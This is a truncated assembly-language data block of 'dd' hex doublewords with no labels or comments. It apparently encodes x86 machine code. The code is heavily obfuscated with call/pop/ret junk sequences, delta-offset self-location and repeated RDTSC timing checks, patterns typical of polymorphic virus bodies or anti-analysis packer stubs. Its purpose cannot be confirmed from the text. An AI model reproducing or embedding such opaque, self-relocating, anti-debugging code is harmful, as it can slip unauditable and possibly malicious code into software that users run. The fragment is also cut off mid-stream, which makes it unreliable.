0DE800h, 0AB930000h, 0DBDEA94Dh, 0B37C077Ch dd 5E46046Bh, 2B2D95FFh, 6A0648h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 325DF4C3h, 85D8EECAh dd 8DF8319Dh, 4B99389Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 0D3FF67F8h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 66C35545h, 89E5C24Eh dd 4809E19Dh, 3DBD0106h, 0FF064833h, 481AD185h, 0D5858906h dd 0E906482Bh, 6DAh, 0E8h, 0ED815D00h, 64BCD80h, 2FF5BD8Bh dd 0DE90648h, 31000000h, 11A7459Dh, 29EAB36Dh, 0A92332CCh dd 82DBD81h, 7D00648h, 860F0000h, 13Eh, 9D8BF78Bh, 6480125h dd 394BF681h, 0E3810488h, 100h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 49C35747h, 0D7ED8257h, 0FEBF0F14h dd 850FDB0Bh, 0A7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 67C35343h, 14697A36h, 0B58BBF7Ah, 64816A9h dd 0CBE2BD83h, 0F00064Bh, 3684h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 250FEFBFh dd 68A0Fh, 0BD8B0000h, 6480121h, 6BE9h, 999D8900h, 0C7064800h dd 4BCBE285h, 106h, 0C5B52300h, 0E906482Eh, 50h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0E1C35545h, 0EC076C22h dd 660A8844h, 0C72F93BFh, 4BCBE285h, 6, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0FE8B2094h, 1259D8Dh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 3B703CC3h, 0FBBF0F1Dh dd 0FEFF2381h, 8C66FFFFh, 52006ADBh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0BA4332ACh dd 27CD26CBh, 0BD2957F8h, 64817A1h, 7995895Fh, 0F6064818h dd 840F04C3h, 59h, 6E9h, 1C885600h, 56AEDC07h, 95FF5FF8h dd 64828F1h, 5090F78Bh, 53525052h, 66310F5Fh, 5ACE6BBEh dd 50310F58h, 52310F52h, 5A585A5Eh, 0B6605058h, 0A155BFC6h dd 906165A4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 0AAC35242h, 3A9E9EAh, 0B00000h, 3091BD89h, 70E60648h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0EDC35040h dd 0BF66BD7Dh, 71E477E9h, 0B60FF08Bh, 51006AD8h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0E9E7A2D5h, 5, 8DBC41C3h, 6BABCh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 89D3CEC3h dd 0C1F5C38Bh, 6A04E8h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 5C0202C3h, 21BF0FA9h, 0E2F766F9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 75C35242h dd 0F40DC726h, 0BE749F17h, 76A66AA7h, 6AD82Bh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 0EE39D6C3h, 0FAE9C68Dh, 0E9885BE1h, 0Eh, 0C9C4912Ah dd 491EA6Bh, 47CFFB84h, 0E99395FEh, 7, 7E137B56h, 500B69FBh dd 56006A93h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 84CFA2ADh, 6FCFBF66h, 82DB5FFh, 0FE8B0648h dd 92D95FFh, 0B00648h, 8830Fh, 81530000h, 0DE22E0E7h, 70E65E25h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 9AC35646h dd 843FEA11h, 0BD8B18D4h, 6480A59h, 0B58971E4h, 64810A1h dd 830F613Ch, 213h, 0C444DE81h, 0B60F7BE3h, 10E8D8h, 689F0000h dd 0FD108B93h, 881287F4h, 4FF843B8h, 8B0F1A2Ch, 0 dd 6BA5Eh, 85010000h, 6483239h, 9D89C38Bh, 64803E5h, 8904E8C1h dd 482B859Dh, 0E2F76606h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 2DC35747h, 8C87FEA9h, 0FB8B8E29h, 9531D82Bh dd 6483035h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 0D4A2D0B0h, 0E669CC6Eh, 0C204BFD8h dd 0D82B7A74h, 171880Fh, 7B90000h, 0F000000h, 0C183F0BFh dd 0F2B70F00h, 860FD93Bh, 15Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 0DAC35141h, 1B9CDBBEh, 7C4062DCh dd 2BB98531h, 8C660648h, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 783B6D29h, 75B589h, 0C1F60648h dd 0D9840F04h, 0F000000h, 68Dh, 51858900h, 0FF06481Bh dd 4828F195h, 5D9D2906h, 0E8064813h, 11h, 0AF1EB8FDh, 0A7BA275Fh dd 0FFA4F41Ch, 56B42FC4h, 0CAD78155h, 5E0C38C6h, 53006A5Bh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 2996DBE8h, 0FE9A0h, 0FB330000h, 7E7C64CCh, 0D5C7BE2Eh dd 0A560DCE1h, 59D8922h, 2B064806h, 50006AC3h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0D92B85B6h dd 343D79EFh, 0F000008h, 3B86h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 36E154Ch, 1B99139h dd 4828C18Dh, 85095206h, 6483035h, 2DE95Fh, 0DF810000h dd 6B16D304h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 99303BC3h, 76D7D9Dh, 8BFDD4C7h dd 2BD88BC3h, 48297DBDh, 7985C706h, 77064830h, 0E85ECFEFh dd 0Fh, 60347A83h, 6458804Dh, 0B92D76F8h, 0E9740744h, 9 dd 0F76D6D33h, 0A8126788h, 0C08B5FE7h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 72C35343h, 0BF0FF886h, 2DBD81F2h dd 0D0064808h, 0F000007h, 3085h, 8A0F6000h, 2, 0D78B5F57h dd 2D85FF61h, 6A064808h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 173DC352h, 2DB5FF2Eh dd 6A064808h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 7BCCC350h, 0F9BCAD81h, 33A336AEh dd 482A55B5h, 2D95FF06h, 6A064809h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 908EC355h dd 5F710269h, 8D607489h, 0C5958B60h, 81064810h, 0B1F0B1F7h dd 0BF0F613Bh, 78B890F9h, 89123456h, 4827C9B5h, 9D8DF806h dd 64BD439h, 0FFF92BE9h, 0BE66FCFFh, 0C18BE443h, 20199D89h dd 4EB0648h, 0 dd 22C99D29h, 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0F50205C3h, 22D19501h, 858D0648h dd 6481255h, 3810Fh, 8B660000h, 0EE990FBh, 4A000000h, 7E11C605h dd 0A7C73069h, 3038F183h, 5250507Ch, 48C0Fh, 0BE660000h dd 310F41DCh, 585A5F51h, 0CE990h, 3A70000h, 74702F00h dd 0B4854999h, 6A3CF4h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 19C35141h, 0C434FE84h, 6A236542h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0F88B88C8h, 0D634858Dh, 0C083064Bh, 56006A05h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0F32840CEh, 4C5E7E2Ch, 0C6810C2Fh, 5CC428B9h, 89ABF66h dd 0F18A6050h, 0E4E047BEh, 489615Ch, 0ADBD2924h, 6A06480Bh dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0F7816618h, 6ACDDDh, 3880Fh, 8B660000h dd 2D95FFF0h, 8D06482Bh, 4B99389Dh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 6993060Dh dd 0E860D033h, 8, 4442DD6Dh, 97E74C96h, 10E9h, 3B403700h dd 0C8EB394Dh, 0EF020732h, 0BB55E828h, 0DE959F1h, 0DE000000h dd 34493664h, 13020389h, 0F0C5EAD7h, 0FB8B6661h, 6AD3FFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0BF21D3C3h, 0A660983h, 81665F94h, 0FFB2E2DFh, 481AD185h dd 0CF816606h, 0B70F9379h, 0F17E9FAh, 0E80000h, 5D000000h dd 0D63EED81h, 6A064Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 8B7842C3h, 4828EDBDh, 5D8D8906h dd 3064814h, 483295BDh, 2DBD8106h, 0D0064808h, 0F000007h dd 16686h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 0C20F760Ah, 4916695Ch, 0C99D8B54h dd 6A06482Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 81E1C352h, 100E3h, 0F78B6600h dd 850FDB0Bh, 0C0h, 11658D09h, 0BD830648h, 64BD45Fh, 53840F00h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 3C08C351h, 736F4ADBh, 0D59F3EF7h dd 2F158D89h, 0B2E90648h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0BD24C355h dd 7844CF81h, 85C700CAh, 64BD45Fh, 1, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0F6C35545h, 0AB64196Bh, 5EE9A8ECh dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0D1DEC351h, 0AD4D6739h, 0BD01DB30h dd 64831B1h, 0D45F85C7h, 64Bh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 2F5274C3h dd 35BD8BB2h, 81064800h, 349180EFh, 0C99D8D7Ah, 0B06482Fh dd 4816A5BDh, 0FF238106h, 8BFFFFFEh, 558D09F7h, 66064800h dd 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0BE66B1C3h, 0C3F69213h, 33840F04h, 66000000h dd 95FFF98Bh, 64828F1h, 0F78B90FCh, 6A9050h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 1FDCA6C3h dd 0E58F1852h, 0CFE95D5Fh, 6A000003h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 3E70C352h dd 4AAF5C2h, 9570F6A7h, 28E19589h, 0B00648h, 79F68166h dd 8970E6C8h, 4830618Dh, 0F71E406h, 6AD8B6h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 18C4DAC3h dd 37490B41h, 0A999589h, 6BA0648h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0ADE3C356h, 0BF18509h, 95890648h, 648328Dh, 6AC38Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0AEC082C3h, 60B7341Fh, 0CA816056h, 7E794033h, 14DD958Bh dd 5E610648h, 3104E8C1h, 480AF195h, 0E2F76606h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0F3C35747h, 0D82B53C4h dd 1C498589h, 66930648h, 505382BEh, 6A93F98Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 1BCFC355h, 0C72675C1h, 9F17F40Dh, 82DB5FFh, 0B70F0648h dd 2D95FFFEh, 0B0064809h, 0BF0F6000h, 898589C8h, 61064816h dd 0E6F6BF0Fh, 50006A70h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 2822052Eh, 71E436C5h dd 0D1B58B60h, 9064811h, 480071BDh, 0BD016106h, 64812E1h dd 830F613Ch, 246h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 75C35545h, 40C57A9Ah, 0F1051B9h, 0F781D8B6h dd 6CEDB604h, 102DB58Bh, 6BA0648h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0C943C357h, 0C12B2D68h, 29C9BD8Bh, 0C38B0648h, 8B04E8C1h dd 0E8E0FF3h, 60000000h, 55EC781h, 9D897F83h, 6480C8Dh dd 0E2F76661h, 0BE9h, 0D477400h, 7E02C474h, 1B55C854h dd 6AD82Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 0AE093BC3h, 5546FE06h, 14DDBD89h, 6A580648h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 817CC350h, 7D143A28h, 880FD82Bh, 166h, 81B58957h dd 5E064810h, 1A058D89h, 7B90648h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 0A1D1C353h, 820F1Fh, 83000000h, 0B58B00C1h, 6480D59h dd 860FD93Bh, 11Eh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 4CC35040h, 6A42139Fh, 0C880Fh, 8B0F0000h dd 6, 8B0Fh, 8C660000h, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 2F5EF352h, 0A5BD8B2Eh dd 0F064801h, 28Fh, 0F6F38B00h, 840F04C1h, 92h, 68A0Fh dd 66570000h, 5E8FA2BEh, 28F195FFh, 81660648h, 0E97FC5F6h dd 0Ah, 981BF2Fh, 856B32A4h, 0E85B674Eh, 0Eh, 0E63042D1h dd 7870FE1h, 99BF7701h, 51514E32h, 0E95E5F5Eh, 13h, 8ADAA4B1h dd 2A7E60EFh, 8CE5F80h, 8332ECD5h, 2B3EAC12h, 50E781C3h dd 3D0535B2h, 834h, 28860Fh, 0B5890000h, 6482B9Dh, 3CE9F9h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0C08B2BC3h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 23C35141h, 0C38B214Fh, 6AD88Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 9BE327C3h, 742E94FBh, 0CF8155AFh, 3723B951h, 12585C7h dd 6F110648h, 6A1161h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 0B3A19DC3h, 0FABF667Eh dd 5800F3Eh, 0BE000000h, 3B55A7CAh, 0CE81C08Bh, 139672BDh dd 82DBD81h, 7D00648h, 850F0000h, 31h, 1C15B58Bh, 85FF0648h dd 648082Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0ECC35545h, 3612BF00h, 8B660369h, 2DB5FFF2h, 6A064808h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 6E34C355h, 19BD896Ch, 81064818h, 9F79ABD6h dd 2D95FF76h, 6A064809h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 8F0CC356h, 2A227F29h dd 4090FD3Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 0ACC35646h, 0D09F935Ch, 0A0988BFBh, 66EE8A60h dd 615C3BB9h, 89BD83h, 0F000648h, 12884h, 0FFBF0F00h, 5B5BD83h dd 0F000648h, 11884h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 8166410Bh, 0FF0844F6h dd 48008995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 0C00B4A66h, 0CB840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 6E016CC3h, 7225EAB7h, 0F75B58Bh, 8D8D0648h, 6484E80h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 35C35040h dd 6890FE5h, 81000000h, 183864DFh, 5B832h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 954F37C3h, 30B18D89h, 0BE660648h, 0E1FF2C79h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0AEC35141h, 0E1E2868Ch dd 60A597F3h, 5890Fh, 0B80000h, 0F4FAFEDh, 583h, 0C9816600h dd 5061FC0Ah, 2840Fh, 5F500000h, 0DDBD835Eh, 6481Ch, 6A9840Fh dd 0EE810000h, 750004Eh, 5B5BD83h, 0F000648h, 69684h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 73C7425h, 15629BBCh, 198D8D24h, 6A064832h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 9BC350h, 0E8A18357h, 0Eh, 6E36434Eh, 3ED472DEh, 0BD568C5Eh dd 0C75E52F1h, 0B27C8401h, 52006A44h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 5314102Ch dd 0F88B269Eh, 0CFCB0181h, 0B70F1499h, 441C7F3h, 0CE706B34h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0CAC35242h dd 82B7F6D4h, 8A0F53h, 5F000000h, 10044181h, 6A31D6D7h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 7C9CC350h, 6A006A76h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 54E2C356h dd 858D65DCh, 6483219h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 31C35141h, 50FA8BE0h, 0C4D6BF66h, 51240489h dd 830Fh, 0FF5E0000h, 481CDD95h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 860F06F0h dd 5, 10F78166h, 198D8D94h, 6A064832h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 20FCC356h dd 0F78B881Ah, 1C7h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 73F2EEC3h, 441C7h, 66000000h dd 8E4DE81h, 0BFE8B66h, 7C840FC0h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 3154C350h, 18663711h, 28E0Fh, 0FE8B0000h, 6820Fh, 0BD890000h dd 6482819h, 4E808D8Dh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0E92B87C3h, 7, 55F054A6h dd 8BA69ED3h, 481C65BDh, 5B806h, 81660000h, 0FFA4FEEEh dd 0DD8D89E1h, 8D064816h, 4832198Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 27D266A1h dd 0ADBD8BB7h, 29064805h, 4810D185h, 7C01C706h, 6644AA72h dd 181F38Bh, 1499CFCBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0B2C35747h, 66758B56h, 0C7705DBEh, 753C0441h dd 0BD8BCE78h, 64814D5h, 10044181h, 6A31D6D7h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 296BC350h, 0F61735E3h, 0FAB70F60h, 0BD8B006Ah, 648165Dh dd 3219858Dh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 41B011C3h, 77DF2173h, 1B91B58Bh dd 8B500648h, 240489F0h, 0BE8h, 0A22A3000h, 4F3A05F6h dd 734561DEh, 781BD8Bh, 895F0648h, 480DB995h, 0DD95FF06h dd 906481Ch, 4814999Dh, 198D8D06h, 6A064832h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 1152C356h, 8D896052h, 6480509h, 1AA99D23h, 0C7610648h dd 1, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 119DA59Dh, 0ECCE3BABh, 800F4D3Dh dd 0 dd 441C7h, 31000000h, 4808359Dh, 0FC00B06h, 8D84h, 0F98B6600h dd 4E808D8Dh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 0F7E94DC3h, 9DC6F964h, 0F88D474h dd 688h, 37C68100h, 0F84B6314h, 5B8h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 665284F6h, 5E54ABBEh, 154D9D29h, 0E1FF0648h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 26C35040h, 0C3E38FE6h dd 8D8DD32Ah, 6483219h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 52C35343h, 0C7F38BC6h, 0CA95A501h, 0CB018154h dd 6A1499CFh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 0D3DCC355h, 8BCAE837h, 4817F1B5h dd 441C706h, 0CE5F5969h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 51C35343h, 44181CAh, 31D6D710h, 1A05B58Bh dd 6A0648h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 9DC35040h, 0BF18529h, 7E90648h, 2000000h, 0FBCF7F2Ch dd 858D5F68h, 6483219h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 9FC35545h, 1FCE8166h, 8A0F907Ch, 2, 0BE50F18Bh dd 5537D0EDh, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 8F9FD838h, 95FFF582h, 6481CDDh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0E7C35040h, 0F9417674h dd 4254A8B9h, 0FFB70F55h, 32198D8Dh, 6A0648h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 551F55C3h dd 0D2643A98h, 0B5230FADh, 64805B1h, 1C7h, 0B58B0000h dd 64806D5h, 441C7h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0A11DC350h, 0FC00B33h dd 0A284h, 6870F00h, 8B000000h, 4829B5B5h, 808D8D06h, 0E906484Eh dd 0Bh, 3CAC58F8h, 88DAF21Fh, 60FF3770h, 0C15958Bh, 11E80648h dd 0BE000000h, 3880ED75h, 0B6BF6ED9h, 9439751h, 40B3A326h dd 17BD9523h, 615E0648h, 5B8h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 1DC9BED8h dd 1F0E925Ch, 8D897B54h, 6482701h, 0BDD8589h, 0E1FF0648h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 7FC35242h dd 29BD8B8Eh, 306482Ch, 0F0F4E9CAh, 6E9FFFFh, 0B3000000h dd 0CA3FF01Eh, 6AC18BC9h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 3285C357h, 4E5BD89h dd 4EB0648h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0E5C35040h dd 8BFF6967h, 480545B5h, 1DBD2906h, 8D064806h, 48125585h dd 0A5B58B06h, 9006482Bh, 0DE8h, 3ECCD500h, 15B93C86h dd 2A986529h, 10E950DAh, 34000000h, 2E184B23h, 2511AFF0h dd 5F47A617h, 5E8E428Fh, 0CE950h, 19E90000h, 4659C27Ah dd 878A624Eh, 0E89074D8h, 6, 46ADB3DEh, 0B58B555Ah, 6480C9Dh dd 29006A5Eh, 48333DBDh, 6A006A06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0CB11C351h dd 85BEC1B7h, 0E8107CACh, 10h, 7F642D43h, 670EAAF7h, 0D4EC7788h dd 0B5D8FE40h, 180D9589h, 8D5E0648h, 4BE73985h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 17DA4B75h, 4DB58BF5h, 83064800h, 0B58B05C0h, 648332Dh dd 8B665090h, 6A90F0h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 521528C3h, 66EF60C6h, 68A0Fh, 0BD890000h dd 6480D91h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 8BD1A0C3h, 8B6B760Eh, 4808F5B5h dd 0F9006A06h, 2B2D95FFh, 6A0648h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 70FEA8C3h, 389D8D2Dh dd 1064B99h, 482C41BDh, 66D3FF06h, 92D9EE81h, 1AD185FFh dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 10E98EC3h, 0E8000009h, 0 dd 43ED815Dh, 0E8064BE7h, 8, 0F421063Bh, 0DC61B76Bh, 14830Fh dd 0FE90000h, 0D5000000h, 0BA326D16h, 0A2BDE184h, 0C453DABFh dd 815E5D33h, 48082DBDh, 7D006h, 0F5860F00h, 8B000000h dd 4811919Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 8165CF09h, 100E3h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 8CB45DAEh, 15B58B24h, 0B064831h, 5A850FDBh, 0BE000000h dd 1BF4F754h, 0E577BD83h, 0F00064Bh, 1184h, 55B58B00h dd 0E9064810h, 4Ch, 1465B58Bh, 85C70648h, 64BE577h, 1 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 3CC35141h dd 1C65BD01h, 15E90648h, 89000000h, 480F6DB5h, 7785C706h dd 64BE5h, 0BE000000h, 0B822AE1h, 11919D8Dh, 6A0648h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 71F949C3h, 185C8364h, 81DDDA69h, 0FFFEFF23h, 0F7B70FFFh dd 6ADB8C66h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0E24BC351h, 0CC5BD89h, 0C3F60648h dd 59840F04h, 1000000h, 481529B5h, 0F195FF06h, 6A064828h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 4195C357h, 2053361Eh, 50994F8Bh, 6A240489h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0D1C2C352h, 66B4CD35h, 0F602E681h, 3ABE9h dd 12E900h, 63B50000h, 847EB233h, 0D74CE6E5h, 0B293A1FDh dd 183F79Eh, 10E900B0h, 0C8000000h, 0F28F8FC2h, 209C92EAh dd 27BB337Ah, 0E6B3FC46h, 6840F70h, 8B000000h, 4829D5B5h dd 6A71E406h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 8B68C350h, 48145DB5h, 0F2B70F06h dd 53D8B60Fh, 1261B589h, 0BA5E0648h, 6, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1CC35747h, 0CB9C6B8Bh dd 0C38B77D0h, 0C1FCF28Bh, 8B6604E8h, 0E2F766F0h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 11C35040h, 0ED2268C8h dd 0BE513B77h, 18A603EAh, 8BD82B5Eh, 480E6DB5h, 0F78B5006h dd 89241C89h, 4810B18Dh, 2DB5FF06h, 0FF064808h, 48092D95h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 23F0D2D9h, 0B06EB4E7h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 136E255Eh, 16A1B58Bh, 70E60648h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 5DC35646h, 0E4A32B77h, 57006A71h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 3C6AEB93h, 2D830F61h, 89000002h, 4814B98Dh, 0D8B60F06h dd 6BAF5h, 5E530000h, 1679B58Bh, 0C38B0648h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 9AC35141h, 690231C7h dd 8D014B8Ch, 6482789h, 21D99D89h, 0E8C10648h, 50006A04h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 6679240Fh, 0B58BE2F7h, 6480A25h, 30619589h, 0D82B0648h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0FCC35040h dd 3E6605AAh, 661D80F8h, 